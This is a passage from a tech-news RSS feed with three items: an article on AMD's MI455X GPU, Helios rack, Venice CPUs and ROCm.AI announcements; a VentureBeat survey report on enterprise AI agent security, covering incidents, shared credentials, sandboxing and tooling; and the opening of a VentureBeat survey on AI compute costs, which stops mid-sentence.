<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689827/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.</p><p>(<i>A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)</i></p><h2>Finding 5: And enterprises are comfortable with it</h2><p><b>Satisfaction is high, even as incidents mount and identity lags</b></p><p>We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.</p><div></div><p>Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI 